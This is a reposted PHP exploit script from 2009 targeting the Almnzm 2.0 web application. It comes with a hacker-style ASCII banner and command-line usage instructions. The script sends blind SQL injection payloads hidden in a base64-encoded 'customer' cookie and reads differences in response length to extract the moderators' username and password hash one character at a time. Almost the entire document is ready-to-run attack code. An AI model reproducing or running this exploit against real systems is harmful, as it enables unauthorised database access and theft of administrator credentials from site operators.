Home / os / win10

almnzm-blindsql.txt

Posted on 02 July 2009

<?php
ini_set("max_execution_time",0);
print_r('
||          ||   | ||
o_,_7 _||  . _o_7 _|| q_|_||  o_///_,
(  :  /    (_)    /           (      .

___________________
_/QQQQQQQQQQQQQQQQQQQ\__
[q] Almnzm 2.0 Blind SQL Inj.      __/QQQ/````````````````QQQ\___
_/QQQQQ/                  QQQQQQ\n[q] Cookie <3                   /QQQQ/``                    ```QQQQ\n/QQQQ/                          QQQQ\n[q] http://www.almnzm.com     |QQQQ/    By  Qabandi             QQQQ|
|QQQQ|                            |QQQQ|
|QQQQ|    From Kuwait, PEACE...   |QQQQ|
|QQQQ|                            |QQQQ|
|QQQQ       iqa[a]hotmail.fr     /QQQQ|
[/]   -[Tam al tableegh]-      QQQQ                      __  /QQQQ/
QQQQ                    /QQ\_QQQQ/
QQQQ                   QQQQQQQ/
QQQQQ                 /QQQQQ/_
``QQQQQ\_____________/QQQ/QQQQ\_
``QQQQQQQQQQQQQQQQQQQ/  `QQQQ\n```````````````````     `````
______________________________________________________________________________
/                                                                              \n|                          hediya, because i finished exams                    |
\______________________________________________________________________________/
 No More Private /
`````````````````
');

if ($argc<6) {
print_r('
-----------------------------------------------------------------------------
Usage:   php '.$argv[0].' localhost /mnzm/ user_id username password
example: php '.$argv[0].' almnzm.com /demo/ 1 almnzm test
-----------------------------------------------------------------------------
');
die;
}
function QABANDI($victim,$vic_dir,$user_id,$user_name,$user_pass,$injection){
$host = $victim;
$usrid= $user_id;
$usrnm= $user_name;
$usrpw= $user_pass;
$p = "http://".$host.$vic_dir;

$user_id_inj = $usrid.$injection;
$qookie = base64_encode($user_id_inj."[:-:]".$usrnm."[:-:]".md5($usrpw));
$packet ="GET ".$p."index.php?a=customerarea HTTP/1.0
";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)
";
$packet.="Pragma: no-cache
";
$packet.="Cookie: customer=".$qookie.";
";
$packet.="Connection: Close

";

$o = @fsockopen($host, 80);
if(!$o){
echo "
[x] No response...
";
die;
}

fputs($o, $packet);
while (!feof($o)) $data .= fread($o, 1024);
fclose($o);

$_404 = strstr( $data, "HTTP/1.1 404 Not Found" );
if ( !empty($_404) ){
echo "
[x] 404 Not Found... Make sure of path. 
";
die;
}

return $data;

}

$host1 = $argv[1];
$userdir1=$argv[2];
$userid1= $argv[3];
$username1= $argv[4];
$userpass1= $argv[5];






if ($argc > 2) {

echo "
Please wait, this will take time, el9abr zain ;)
";
$r = strlen(QABANDI($host1,$userdir1,$userid1,$username1,$userpass1,"' and 1='1"));
echo "
Exploiting:
";
$w = strlen(QABANDI($host1,$userdir1,$userid1,$username1,$userpass1,"' and 1='0"));
$t = abs((100-($w/$r*100)));
echo "Username: ";
for ($i=1; $i <= 30; $i++) {

$q = QABANDI($host1,$userdir1,$userid1,$username1,$userpass1,"' and ascii(substring((select name from almnzm_moderators limit 0,1),".$i.",1))!='0");

$laenge = strlen($q);
if (abs((100-($laenge/$r*100))) > $t-1) {
$count = $i;
$i = 30;
}
}
for ($j = 1; $j < $count; $j++) {
for ($i = 46; $i <= 122; $i=$i+2) {
if ($i == 60) {
$i = 98;
}


if ($j>9){
$laenge = strlen(QABANDI($host1,$userdir1,$userid1,$username1,$userpass1,"' and ascii(substring((select name from almnzm_moderators limit 0,1),".$j.",1)) > '".$i));
}

if ($j<=9){
$laenge = strlen(QABANDI($host1,$userdir1,$userid1,$username1,$userpass1,"' and ascii(substring((select name from almnzm_moderators limit 0,1),".$j.",1))>'".$i));

}



if (abs((100-($laenge/$r*100))) > $t-1) {


if ($j>9){
$laenge = strlen(QABANDI($host1,$userdir1,$userid1,$username1,$userpass1,"' and ascii(substring((select name from almnzm_moderators limit 0,1),".$j.",1)) > '".($i-1)));
}
if ($j<=9){
$laenge = strlen(QABANDI($host1,$userdir1,$userid1,$username1,$userpass1,"' and ascii(substring((select name from almnzm_moderators limit 0,1),".$j.",1))>'".($i-1)));

}





if (abs((100-($laenge/$r*100))) > $t-1) {
echo chr($i-1);
} else {
echo chr($i);
}
$i = 122;
}
}
}
echo "
Password: ";
for ($j = 1; $j <= 49; $j++) {
for ($i = 46; $i <= 102; $i=$i+2) {
if ($i == 60) {
$i = 98;
}


if ($j>9){

$hg=QABANDI($host1,$userdir1,$userid1,$username1,$userpass1,"' and ascii(substring((select Password from almnzm_moderators limit 0,1),".$j.",1)) > '".$i);


}

if ($j<=9){

$hg=QABANDI($host1,$userdir1,$userid1,$username1,$userpass1,"' and ascii(substring((select Password from almnzm_moderators limit 0,1),".$j.",1))>'".$i);


}


$laenge = strlen($hg);

if (abs((100-($laenge/$r*100))) > $t-1) {


if ($j>9){

$laenge = strlen(QABANDI($host1,$userdir1,$userid1,$username1,$userpass1,"' and ascii(substring((select Password from almnzm_moderators limit 0,1),".$j.",1)) > '".($i-1)));
}

if ($j<=9){

$laenge = strlen(QABANDI($host1,$userdir1,$userid1,$username1,$userpass1,"' and ascii(substring((select Password from almnzm_moderators limit 0,1),".$j.",1))>'".($i-1)));
}



if (abs((100-($laenge/$r*100))) > $t-1) {
echo chr($i-1);
} else {
echo chr($i);
}
$i = 102;
}
}
}
}
?>

 

TOP